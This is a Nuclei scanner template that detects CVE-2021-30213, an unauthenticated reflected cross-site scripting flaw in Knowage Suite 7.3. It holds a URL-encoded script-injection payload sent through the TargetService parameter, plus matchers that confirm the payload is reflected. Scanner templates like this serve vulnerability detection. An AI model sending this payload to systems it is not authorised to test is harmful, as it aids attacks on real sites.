nuclei-templates/cves/2021/CVE-2021-30213.yaml

id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 XSS
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2021-30213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
  tags: cve,cve2021,xss,knowage

requests:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html